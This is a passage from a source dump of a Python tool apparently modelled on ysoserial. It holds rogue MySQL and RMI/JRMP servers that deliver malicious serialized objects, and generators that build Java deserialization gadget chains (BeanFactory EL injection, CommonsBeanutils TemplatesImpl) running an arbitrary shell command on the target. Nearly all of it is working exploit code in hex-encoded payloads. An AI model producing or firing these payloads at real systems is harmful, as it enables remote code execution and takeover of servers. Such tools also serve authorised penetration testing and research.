b"\x54\x45\x2c\x45\x52\x52\x4f\x52\x5f\x46\x4f\x52\x5f\x44\x49\x56" \ 86 | + b"\x49\x53\x49\x4f\x4e\x5f\x42\x59\x5f\x5a\x45\x52\x4f\x2c\x4e\x4f" \ 87 | + b"\x5f\x45\x4e\x47\x49\x4e\x45\x5f\x53\x55\x42\x53\x54\x49\x54\x55" \ 88 | + b"\x54\x49\x4f\x4e\x03\x43\x53\x54\x06\x53\x59\x53\x54\x45\x4d\x0f" \ 89 | + b"\x52\x45\x50\x45\x41\x54\x41\x42\x4c\x45\x2d\x52\x45\x41\x44\x05" \ 90 | + b"\x32\x38\x38\x30\x30\x07\x00\x00\x14\xfe\x00\x00\x02\x00\x00\x00") 91 | while True: 92 | len4 = conn.recv(3) 93 | len4 = int.from_bytes(len4, byteorder="little") 94 | req = conn.recv(len4 + 1) 95 | print(str(req[2:])) 96 | if req[2:] == b"SHOW SESSION STATUS": 97 | p1 = b"\x01\x00\x00\x01\x02" 98 | p2 = b"\x30\x00\x00\x02\x03\x64\x65\x66\x0a\x6a\x64\x62\x63\x61\x74\x74" \ 99 | + b"\x61\x63\x6b\x06\x61\x74\x74\x61\x63\x6b\x06\x61\x74\x74\x61\x63" \ 100 | + b"\x6b\x02\x73\x31\x02\x73\x31\x0c\x3f\x00\xff\xff\x00\x00\xfc\x90" \ 101 | + b"\x00\x00\x00\x00" 102 | p3 = b"\x30\x00\x00\x03\x03\x64\x65\x66\x0a\x6a\x64\x62\x63\x61\x74\x74" \ 103 | + b"\x61\x63\x6b\x06\x61\x74\x74\x61\x63\x6b\x06\x61\x74\x74\x61\x63" \ 104 | + b"\x6b\x02\x73\x32\x02\x73\x32\x0c\xff\x00\xfc\x03\x00\x00\xfd\x00" \ 105 | + b"\x00\x00\x00\x00" 106 | len7 = len(self.serobj + b"\x04\x65\x76\x69\x6c") 107 | p4 = (len7 + 3).to_bytes(3, byteorder="little") + b"\x04\xfc" + (len7).to_bytes(2, 108 | byteorder="little") + self.serobj + b"\x04\x65\x76\x69\x6c" 109 | p5 = b"\x07\x00\x00\x05\xfe\x00\x00\x02\x00\x00\x00" 110 | conn.send(p1 + p2 + p3 + p4 + p5) 111 | else: 112 | conn.send(b"\x07\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00") 113 | 114 | def run(self): 115 | """ 116 | 使用这个启动服务器 117 | """ 118 | self.thread = Thread(target=self.__serve) 119 | self.thread.start() -------------------------------------------------------------------------------- /src/pyyso/server/rmi.py: -------------------------------------------------------------------------------- 1 | import socket 2 | from threading import Thread 3 | from pyyso.misc.ReferenceWrapper_Stub import * 4 | from pyyso.misc.Lease import * 5 | 6 | 7 | class RMIServer(): 8 | 9 | def __init__(self, serobj: bytes, ip: str = "0.0.0.0", port: int = 1099, refip: str = "0.0.0.0", 10 | refport: int = 51510): 11 | self.serobj = serobj 12 | self.ip = ip 13 | self.port = port 14 | self.refip = refip 15 | self.refport = refport 16 | 17 | def __serve(self): 18 | s = socket.socket() 19 | s.bind((self.ip, self.port)) 20 | s.listen(5) 21 | while True: 22 | # 接受客户端 23 | conn, addr = s.accept() 24 | # 接受JRMP请求 25 | conn.recv(7) 26 | # 返回确认信息 27 | conn.send(b"\x4e\x00\x09\x6c\x6f\x63\x61\x6c\x68\x6f\x73\x74\x00\x00\xdd\xa6") 28 | # 接收客户端请求的一个字节 29 | conn.recv(1) 30 | # 再接收一个字节,这个字节标志了客户端请求报文剩下的长度 31 | len1 = conn.recv(1) # 收到的是字节串,要转化成数 32 | # 把字节串转化成数 33 | len1 = ord(len1) 34 | # 接收剩下的请求报文 35 | conn.recv(len1 + 4) 36 | # 接收调用报文 37 | conn.recv(43) 38 | # 接收客户端请求的一个字节 39 | len2 = conn.recv(1) # 收到的是字节串,要转化成数 40 | # 把字节串转化成数 41 | len2 = ord(len2) 42 | # 接收剩下的请求报文 43 | conn.recv(len2) 44 | # 返回Refernce_Wrapper_Stub 45 | conn.send(RefeneceWrapper_Stub(self.refip, self.refport)) 46 | # 回到registry这里,接收一个字节的JRMI Ping 47 | conn.recv(1) 48 | # 发送一个字节的JRMI PingAck 49 | conn.send(b"\x53") 50 | # 接收一个字节的JRMI DgcAck 51 | conn.recv(1) 52 | # 关闭链接 53 | conn.close() 54 | 55 | def __serve2(self): 56 | # 新建一个socket 57 | s2 = socket.socket() 58 | s2.bind((self.refip, self.refport)) 59 | s2.listen(5) 60 | while True: 61 | conn2, addr2 = s2.accept() 62 | # 接收JRMP请求 63 | conn2.recv(7) 64 | # 返回确认信息 65 | conn2.send(b"\x4e\x00\x09\x6c\x6f\x63\x61\x6c\x68\x6f\x73\x74\x00\x00\xdd\xa6") 66 | # 接收客户端请求的一个字节 67 | conn2.recv(1) 68 | # 再接收一个字节,这个字节标志了客户端请求报文剩下的长度 69 | len1 = conn2.recv(1) # 收到的是字节串,要转化成数 70 | # 把字节串转化成数 71 | len1 = ord(len1) 72 | # 接收剩下的请求报文 73 | conn2.recv(len1 + 4) 74 | # 接收451个字节,一般是定长信息,如果有需要可以设置成更小的值 75 | conn2.recv(451) 76 | # 发送信息 77 | conn2.send(Lease()) 78 | # 接收41个字节的数据 79 | conn2.recv(41) 80 | # 发送数据 81 | conn2.send(self.serobj) 82 | # 关闭链接 83 | conn2.close() 84 | 85 | def run(self): 86 | self.thread1 = Thread(target=self.__serve) 87 | self.thread1.start() 88 | self.thread2 = Thread(target=self.__serve2) 89 | self.thread2.start() 90 | -------------------------------------------------------------------------------- /src/pyyso/yso/__init__.py: -------------------------------------------------------------------------------- 1 | from pyyso.yso.urldns import * 2 | from pyyso.yso.cc1 import * 3 | from pyyso.yso.cc2 import * 4 | from pyyso.yso.cc3 import * 5 | from pyyso.yso.cc4 import * 6 | from pyyso.yso.cc5 import * 7 | from pyyso.yso.cc6 import * 8 | from pyyso.yso.cc7 import * 9 | from pyyso.yso.jdk7u21 import * 10 | from pyyso.yso.jdk8u20 import * 11 | from pyyso.yso.clazz import * 12 | from pyyso.yso.cb1v183 import * 13 | from pyyso.yso.cb1v192 import * 14 | from pyyso.yso.jrmpclient import * 15 | from pyyso.yso.beanfactory import * 16 | -------------------------------------------------------------------------------- /src/pyyso/yso/beanfactory.py: -------------------------------------------------------------------------------- 1 | def beanfactory(cmd: str, rmi: bool = True): 2 | if rmi == True: 3 | prefix = "51aced0005770f011fdcf54f00000180c7116987800d7372001d6f72672e6170616368652e6e616d696e672e5265736f757263655265660000000000000001020000707872001d6f72672e6170616368652e6e616d696e672e4162737472616374526566000000000000000102000070787200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00044c0009636c6173734e616d6571007e0004707870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b7078700000000000000005757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c0200007078700000000a7372001a6a617661782e6e616d696e672e537472696e6752656641646472844bf43ce111dcc90200014c0008636f6e74656e747371007e000470787200146a617661782e6e616d696e672e52656641646472eba0079a0238af4a0200014c0008616464725479706571007e000470787074000573636f70657400007371007e000b7400046175746871007e000f7371007e000b74000973696e676c65746f6e740004747275657371007e000b74000b666f726365537472696e677400064b3d6576616c7371007e000b7400014b74" 4 | midfix = "22222e676574436c61737328292e666f724e616d6528226a617661782e7363726970742e536372697074456e67696e654d616e6167657222292e6e6577496e7374616e636528292e676574456e67696e6542794e616d6528224a61766153637269707422292e6576616c28226e6577206a6176612e6c616e672e50726f636573734275696c6465725b27286a6176612e6c616e672e537472696e675b5d29275d285b272f62696e2f7368272c272d63272c27" 5 | postfix = "275d292e7374617274282922297070707070787400256f72672e6170616368652e6e616d696e672e666163746f72792e4265616e466163746f7279707400146a617661782e656c2e454c50726f636573736f72" 6 | length = (len(midfix + cmd.encode().hex()) // 2 + 13).to_bytes(2, byteorder="big").hex() 7 | hexdata = prefix + length + midfix + cmd.encode().hex() + postfix 8 | data = bytes.fromhex(hexdata) 9 | return data 10 | -------------------------------------------------------------------------------- /src/pyyso/yso/cb1v183.py: -------------------------------------------------------------------------------- 1 | def cb1v183(cmd: str, jrmp: bool = False) -> bytes: 2 | if jrmp == True: 3 | prefix = "51aced0005770f02db278b0000000180cb632a4a80047372002e6a617661782e6d616e6167656d656e742e42616441747472696275746556616c7565457870457863657074696f6ed4e7daab632d46400200014c000376616c7400124c6a6176612f6c616e672f4f626a6563743b70787200136a6176612e6c616e672e457863657074696f6ed0fd1f3e1a3b1cc402000070787200136a6176612e6c616e672e5468726f7761626c65d5c635273977b8cb0300044c000563617573657400154c6a6176612f6c616e672f5468726f7761626c653b4c000d64657461696c4d6573736167657400124c6a6176612f6c616e672f537472696e673b5b000a737461636b547261636574001e5b4c6a6176612f6c616e672f537461636b5472616365456c656d656e743b4c001473757070726573736564457863657074696f6e737400104c6a6176612f7574696c2f4c6973743b70787071007e0008707572001e5b4c6a6176612e6c616e672e537461636b5472616365456c656d656e743b02462a3c3cfd2239020000707870000000047372001b6a6176612e6c616e672e537461636b5472616365456c656d656e746109c59a2636dd8502000449000a6c696e654e756d6265724c000e6465636c6172696e67436c61737371007e00054c000866696c654e616d6571007e00054c000a6d6574686f644e616d6571007e00057078700000011b74001e79736f73657269616c2e6578706c6f69742e4a524d504c697374656e65727400114a524d504c697374656e65722e6a617661740006646f43616c6c7371007e000b000000e071007e000d71007e000e740009646f4d6573736167657371007e000b000000ab71007e000d71007e000e74000372756e7371007e000b0000007771007e000d71007e000e7400046d61696e737200266a6176612e7574696c2e436f6c6c656374696f6e7324556e6d6f6469666961626c654c697374fc0f2531b5ec8e100200014c00046c69737471007e0007707872002c6a6176612e7574696c2e436f6c6c656374696f6e7324556e6d6f6469666961626c65436f6c6c656374696f6e19420080cb5ef71e0200014c0001637400164c6a6176612f7574696c2f436f6c6c656374696f6e3b707870737200136a6176612e7574696c2e41727261794c6973747881d21d99c7619d03000149000473697a65707870000000007704000000007871007e001b78737200176a6176612e7574696c2e5072696f72697479517565756594da30b4fb3f82b103000249000473697a654c000a636f6d70617261746f727400164c6a6176612f7574696c2f436f6d70617261746f723b707870000000027372002b6f72672e6170616368652e636f6d6d6f6e732e6265616e7574696c732e4265616e436f6d70617261746f72cf8e0182fe4ef17e0200024c000a636f6d70617261746f7271007e001d4c000870726f706572747971007e000574006566696c653a2f55736572732f6368656e7469616e2f446f63756d656e74732f67697468756250726f6a6563742f79736f73657269616c2d6d61737465722f7461726765742f79736f73657269616c2d302e302e362d534e415053484f542d616c6c2e6a617278707372002a6a6176612e6c616e672e537472696e672443617365496e73656e736974697665436f6d70617261746f7277035c7d5c50e5ce0200007078707400106f757470757450726f706572746965737704000000037372003a636f6d2e73756e2e6f72672e6170616368652e78616c616e2e696e7465726e616c2e78736c74632e747261782e54656d706c61746573496d706c09574fc16eacab3303000649000d5f696e64656e744e756d62657249000e5f7472616e736c6574496e6465785b000a5f62797465636f6465737400035b5b425b00065f636c6173737400125b4c6a6176612f6c616e672f436c6173733b4c00055f6e616d6571007e00054c00115f6f757470757450726f706572746965737400164c6a6176612f7574696c2f50726f706572746965733b70787000000000ffffffff757200035b5b424bfd19156767db3702000070787000000002757200025b42acf317f8060854e0020000707870" 4 | midfix = "cafebabe0000003200390a0003002207003707002507002601001073657269616c56657273696f6e5549440100014a01000d436f6e7374616e7456616c756505ad2093f391ddef3e0100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c6501000474686973010013537475625472616e736c65745061796c6f616401000c496e6e6572436c61737365730100354c79736f73657269616c2f7061796c6f6164732f7574696c2f4761646765747324537475625472616e736c65745061796c6f61643b0100097472616e73666f726d010072284c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b5b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b2956010008646f63756d656e7401002d4c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b01000868616e646c6572730100425b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b01000a457863657074696f6e730700270100a6284c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64746d2f44544d417869734974657261746f723b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b29560100086974657261746f720100354c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64746d2f44544d417869734974657261746f723b01000768616e646c65720100414c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b01000a536f7572636546696c6501000c476164676574732e6a6176610c000a000b07002801003379736f73657269616c2f7061796c6f6164732f7574696c2f4761646765747324537475625472616e736c65745061796c6f6164010040636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f72756e74696d652f41627374726163745472616e736c65740100146a6176612f696f2f53657269616c697a61626c65010039636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f5472616e736c6574457863657074696f6e01001f79736f73657269616c2f7061796c6f6164732f7574696c2f476164676574730100083c636c696e69743e0100116a6176612f6c616e672f52756e74696d6507002a01000a67657452756e74696d6501001528294c6a6176612f6c616e672f52756e74696d653b0c002c002d0a002b002e01" 5 | postfix = "08003001000465786563010027284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f50726f636573733b0c003200330a002b003401000d537461636b4d61705461626c6501001d79736f73657269616c2f50776e6572323834373138343338313534363801001f4c79736f73657269616c2f50776e657232383437313834333831353436383b002100020003000100040001001a000500060001000700000002000800040001000a000b0001000c0000002f00010001000000052ab70001b100000002000d0000000600010000002f000e0000000c000100000005000f003800000001001300140002000c0000003f0000000300000001b100000002000d00000006000100000034000e00000020000300000001000f0038000000000001001500160001000000010017001800020019000000040001001a00010013001b0002000c000000490000000400000001b100000002000d00000006000100000038000e0000002a000400000001000f003800000000000100150016000100000001001c001d000200000001001e001f00030019000000040001001a00080029000b0001000c00000024000300020000000fa70003014cb8002f1231b6003557b1000000010036000000030001030002002000000002002100110000000a000100020023001000097571007e002c000001d4cafebabe00000032001b0a0003001507001707001807001901001073657269616c56657273696f6e5549440100014a01000d436f6e7374616e7456616c75650571e669ee3c6d47180100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c6501000474686973010003466f6f01000c496e6e6572436c61737365730100254c79736f73657269616c2f7061796c6f6164732f7574696c2f4761646765747324466f6f3b01000a536f7572636546696c6501000c476164676574732e6a6176610c000a000b07001a01002379736f73657269616c2f7061796c6f6164732f7574696c2f4761646765747324466f6f0100106a6176612f6c616e672f4f626a6563740100146a6176612f696f2f53657269616c697a61626c6501001f79736f73657269616c2f7061796c6f6164732f7574696c2f47616467657473002100020003000100040001001a000500060001000700000002000800010001000a000b0001000c0000002f00010001000000052ab70001b100000002000d0000000600010000003c000e0000000c000100000005000f001200000002001300000002001400110000000a000100020016001000097074000450776e72707701007871007e002978" 6 | length = (0x694 + len(cmd)).to_bytes(4, byteorder='big').hex() 7 | length2 = len(cmd).to_bytes(2, byteorder='big').hex() 8 | hexdata = prefix + length + midfix + length2 + cmd.encode().hex() + postfix 9 | data = bytes.fromhex(hexdata) 10 | return data 11 | prefix = "aced0005737200176a6176612e7574696c2e5072696f72697479517565756594da30b4fb3f82b103000249000473697a654c000a636f6d70617261746f727400164c6a6176612f7574696c2f436f6d70617261746f723b7870000000027372002b6f72672e6170616368652e636f6d6d6f6e732e6265616e7574696c732e4265616e436f6d70617261746f72cf8e0182fe4ef17e0200024c000a636f6d70617261746f7271007e00014c000870726f70657274797400124c6a6176612f6c616e672f537472696e673b78707372002a6a6176612e6c616e672e537472696e672443617365496e73656e736974697665436f6d70617261746f7277035c7d5c50e5ce02000078707400106f757470757450726f706572746965737704000000037372003a636f6d2e73756e2e6f72672e6170616368652e78616c616e2e696e7465726e616c2e78736c74632e747261782e54656d706c61746573496d706c09574fc16eacab3303000949000d5f696e64656e744e756d62657249000e5f7472616e736c6574496e6465785a00155f75736553657276696365734d656368616e69736d4c00195f61636365737345787465726e616c5374796c65736865657471007e00044c000b5f617578436c617373657374003b4c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f72756e74696d652f486173687461626c653b5b000a5f62797465636f6465737400035b5b425b00065f636c6173737400125b4c6a6176612f6c616e672f436c6173733b4c00055f6e616d6571007e00044c00115f6f757470757450726f706572746965737400164c6a6176612f7574696c2f50726f706572746965733b787000000000ffffffff00740003616c6c70757200035b5b424bfd19156767db37020000787000000002757200025b42acf317f8060854e00200007870" 12 | midfix = "cafebabe00000034003a0a0003002207003707002507002601001073657269616c56657273696f6e5549440100014a01000d436f6e7374616e7456616c756505ad2093f391ddef3e0100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c6501000474686973010013537475625472616e736c65745061796c6f616401000c496e6e6572436c61737365730100384c796f73657269616c2f636f6d6d6f6e7574696c73312f436f6d6d6f6e7574696c733124537475625472616e736c65745061796c6f61643b0100097472616e73666f726d010072284c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b5b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b2956010008646f63756d656e7401002d4c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b01000868616e646c6572730100425b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b01000a457863657074696f6e730700270100a6284c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64746d2f44544d417869734974657261746f723b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b29560100086974657261746f720100354c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64746d2f44544d417869734974657261746f723b01000768616e646c65720100414c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b01000a536f7572636546696c65010015436f6d6d6f6e7574696c7331746573742e6a6176610c000a000b070028010036796f73657269616c2f636f6d6d6f6e7574696c73312f436f6d6d6f6e7574696c733124537475625472616e736c65745061796c6f6164010040636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f72756e74696d652f41627374726163745472616e736c65740100146a6176612f696f2f53657269616c697a61626c65010039636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f5472616e736c6574457863657074696f6e010022796f73657269616c2f636f6d6d6f6e7574696c73312f436f6d6d6f6e7574696c73310100083c636c696e69743e0100116a6176612f6c616e672f52756e74696d6507002a01000a67657452756e74696d6501001528294c6a6176612f6c616e672f52756e74696d653b0c002c002d0a002b002e01" 13 | postfix = "08003001000465786563010027284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f50726f636573733b0c003200330a002b003401000d537461636b4d61705461626c6501001d79736f73657269616c2f50776e6572333730313934393133303133363501001f4c79736f73657269616c2f50776e657233373031393439313330313336353b0a00030022002100020003000100040001001a000500060001000700000002000800040001000a000b0001000c0000002f00010001000000052ab70039b100000002000d00000006000100000062000e0000000c000100000005000f003800000001001300140002000c0000003f0000000300000001b100000002000d00000006000100000067000e00000020000300000001000f0038000000000001001500160001000000010017001800020019000000040001001a00010013001b0002000c000000490000000400000001b100000002000d0000000600010000006b000e0000002a000400000001000f003800000000000100150016000100000001001c001d000200000001001e001f00030019000000040001001a00080029000b0001000c00000024000300020000000fa70003014cb8002f1231b6003557b1000000010036000000030001030002002000000002002100110000000a000100020023001000097571007e0012000001e6cafebabe00000034001b0a0003001507001707001807001901001073657269616c56657273696f6e5549440100014a01000d436f6e7374616e7456616c75650571e669ee3c6d47180100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c6501000474686973010003466f6f01000c496e6e6572436c61737365730100284c796f73657269616c2f636f6d6d6f6e7574696c73312f436f6d6d6f6e7574696c733124466f6f3b01000a536f7572636546696c65010015436f6d6d6f6e7574696c7331746573742e6a6176610c000a000b07001a010026796f73657269616c2f636f6d6d6f6e7574696c73312f436f6d6d6f6e7574696c733124466f6f0100106a6176612f6c616e672f4f626a6563740100146a6176612f696f2f53657269616c697a61626c65010022796f73657269616c2f636f6d6d6f6e7574696c73312f436f6d6d6f6e7574696c7331002100020003000100040001001a000500060001000700000002000800010001000a000b0001000c0000002f00010001000000052ab70001b100000002000d0000000600010000005b000e0000000c000100000005000f001200000002001300000002001400110000000a000100020016001000097074000450776e727077010078737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b02000078700000000178" 14 | length = (0x6ab + len(cmd)).to_bytes(4, byteorder='big').hex() 15 | length2 = len(cmd).to_bytes(2, byteorder='big').hex() 16 | hexdata = prefix + length + midfix + length2 + cmd.encode().hex() + postfix 17 | data = bytes.fromhex(hexdata) 18 | return data 19 | -------------------------------------------------------------------------------- /src/pyyso/yso/cb1v192.py: -------------------------------------------------------------------------------- 1 | def cb1v192(cmd: str, jrmp: bool = False) -> bytes: 2 | if jrmp == True: 3 | prefix = "51aced0005770f023e9b0ed800000180c6f92dd480017372002e6a617661782e6d616e6167656d656e742e42616441747472696275746556616c7565457870457863657074696f6ed4e7daab632d46400200014c000376616c7400124c6a6176612f6c616e672f4f626a6563743b70787200136a6176612e6c616e672e457863657074696f6ed0fd1f3e1a3b1cc402000070787200136a6176612e6c616e672e5468726f7761626c65d5c635273977b8cb0300044c000563617573657400154c6a6176612f6c616e672f5468726f7761626c653b4c000d64657461696c4d6573736167657400124c6a6176612f6c616e672f537472696e673b5b000a737461636b547261636574001e5b4c6a6176612f6c616e672f537461636b5472616365456c656d656e743b4c001473757070726573736564457863657074696f6e737400104c6a6176612f7574696c2f4c6973743b70787071007e0008707572001e5b4c6a6176612e6c616e672e537461636b5472616365456c656d656e743b02462a3c3cfd2239020000707870000000047372001b6a6176612e6c616e672e537461636b5472616365456c656d656e746109c59a2636dd8502000449000a6c696e654e756d6265724c000e6465636c6172696e67436c61737371007e00054c000866696c654e616d6571007e00054c000a6d6574686f644e616d6571007e00057078700000011b74001e79736f73657269616c2e6578706c6f69742e4a524d504c697374656e65727400114a524d504c697374656e65722e6a617661740006646f43616c6c7371007e000b000000e071007e000d71007e000e740009646f4d6573736167657371007e000b000000ab71007e000d71007e000e74000372756e7371007e000b0000007771007e000d71007e000e7400046d61696e737200266a6176612e7574696c2e436f6c6c656374696f6e7324556e6d6f6469666961626c654c697374fc0f2531b5ec8e100200014c00046c69737471007e0007707872002c6a6176612e7574696c2e436f6c6c656374696f6e7324556e6d6f6469666961626c65436f6c6c656374696f6e19420080cb5ef71e0200014c0001637400164c6a6176612f7574696c2f436f6c6c656374696f6e3b707870737200136a6176612e7574696c2e41727261794c6973747881d21d99c7619d03000149000473697a65707870000000007704000000007871007e001b78737200176a6176612e7574696c2e5072696f72697479517565756594da30b4fb3f82b103000249000473697a654c000a636f6d70617261746f727400164c6a6176612f7574696c2f436f6d70617261746f723b707870000000027372002b6f72672e6170616368652e636f6d6d6f6e732e6265616e7574696c732e4265616e436f6d70617261746f72e3a188ea7322a4480200024c000a636f6d70617261746f7271007e001d4c000870726f706572747971007e000574001966696c653a2f707269766174652f746d702f79736f2e6a617278707372003f6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e636f6d70617261746f72732e436f6d70617261626c65436f6d70617261746f72fbf49925b86eb13702000074001966696c653a2f707269766174652f746d702f79736f2e6a617278707400106f757470757450726f706572746965737704000000037372003a636f6d2e73756e2e6f72672e6170616368652e78616c616e2e696e7465726e616c2e78736c74632e747261782e54656d706c61746573496d706c09574fc16eacab3303000649000d5f696e64656e744e756d62657249000e5f7472616e736c6574496e6465785b000a5f62797465636f6465737400035b5b425b00065f636c6173737400125b4c6a6176612f6c616e672f436c6173733b4c00055f6e616d6571007e00054c00115f6f757470757450726f706572746965737400164c6a6176612f7574696c2f50726f706572746965733b70787000000000ffffffff757200035b5b424bfd19156767db3702000070787000000002757200025b42acf317f8060854e0020000707870" 4 | midfix = "cafebabe0000003200390a0003002207003707002507002601001073657269616c56657273696f6e5549440100014a01000d436f6e7374616e7456616c756505ad2093f391ddef3e0100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c6501000474686973010013537475625472616e736c65745061796c6f616401000c496e6e6572436c61737365730100354c79736f73657269616c2f7061796c6f6164732f7574696c2f4761646765747324537475625472616e736c65745061796c6f61643b0100097472616e73666f726d010072284c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b5b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b2956010008646f63756d656e7401002d4c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b01000868616e646c6572730100425b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b01000a457863657074696f6e730700270100a6284c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64746d2f44544d417869734974657261746f723b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b29560100086974657261746f720100354c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64746d2f44544d417869734974657261746f723b01000768616e646c65720100414c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b01000a536f7572636546696c6501000c476164676574732e6a6176610c000a000b07002801003379736f73657269616c2f7061796c6f6164732f7574696c2f4761646765747324537475625472616e736c65745061796c6f6164010040636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f72756e74696d652f41627374726163745472616e736c65740100146a6176612f696f2f53657269616c697a61626c65010039636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f5472616e736c6574457863657074696f6e01001f79736f73657269616c2f7061796c6f6164732f7574696c2f476164676574730100083c636c696e69743e0100116a6176612f6c616e672f52756e74696d6507002a01000a67657452756e74696d6501001528294c6a6176612f6c616e672f52756e74696d653b0c002c002d0a002b002e01" 5 | postfix = "08003001000465786563010027284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f50726f636573733b0c003200330a002b003401000d537461636b4d61705461626c6501001e79736f73657269616c2f50776e65723233343434353934303839373139360100204c79736f73657269616c2f50776e65723233343434353934303839373139363b002100020003000100040001001a000500060001000700000002000800040001000a000b0001000c0000002f00010001000000052ab70001b100000002000d0000000600010000002f000e0000000c000100000005000f003800000001001300140002000c0000003f0000000300000001b100000002000d00000006000100000034000e00000020000300000001000f0038000000000001001500160001000000010017001800020019000000040001001a00010013001b0002000c000000490000000400000001b100000002000d00000006000100000038000e0000002a000400000001000f003800000000000100150016000100000001001c001d000200000001001e001f00030019000000040001001a00080029000b0001000c00000024000300020000000fa70003014cb8002f1231b6003557b1000000010036000000030001030002002000000002002100110000000a000100020023001000097571007e002d000001d4cafebabe00000032001b0a0003001507001707001807001901001073657269616c56657273696f6e5549440100014a01000d436f6e7374616e7456616c75650571e669ee3c6d47180100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c6501000474686973010003466f6f01000c496e6e6572436c61737365730100254c79736f73657269616c2f7061796c6f6164732f7574696c2f4761646765747324466f6f3b01000a536f7572636546696c6501000c476164676574732e6a6176610c000a000b07001a01002379736f73657269616c2f7061796c6f6164732f7574696c2f4761646765747324466f6f0100106a6176612f6c616e672f4f626a6563740100146a6176612f696f2f53657269616c697a61626c6501001f79736f73657269616c2f7061796c6f6164732f7574696c2f47616467657473002100020003000100040001001a000500060001000700000002000800010001000a000b0001000c0000002f00010001000000052ab70001b100000002000d0000000600010000003c000e0000000c000100000005000f001200000002001300000002001400110000000a000100020016001000097074000450776e72707701007871007e002a78" 6 | length = (0x696 + len(cmd)).to_bytes(4, byteorder='big').hex() 7 | length2 = len(cmd).to_bytes(2, byteorder='big').hex() 8 | hexdata = prefix + length + midfix + length2 + cmd.encode().hex() + postfix 9 | data = bytes.fromhex(hexdata) 10 | return data 11 | prefix = 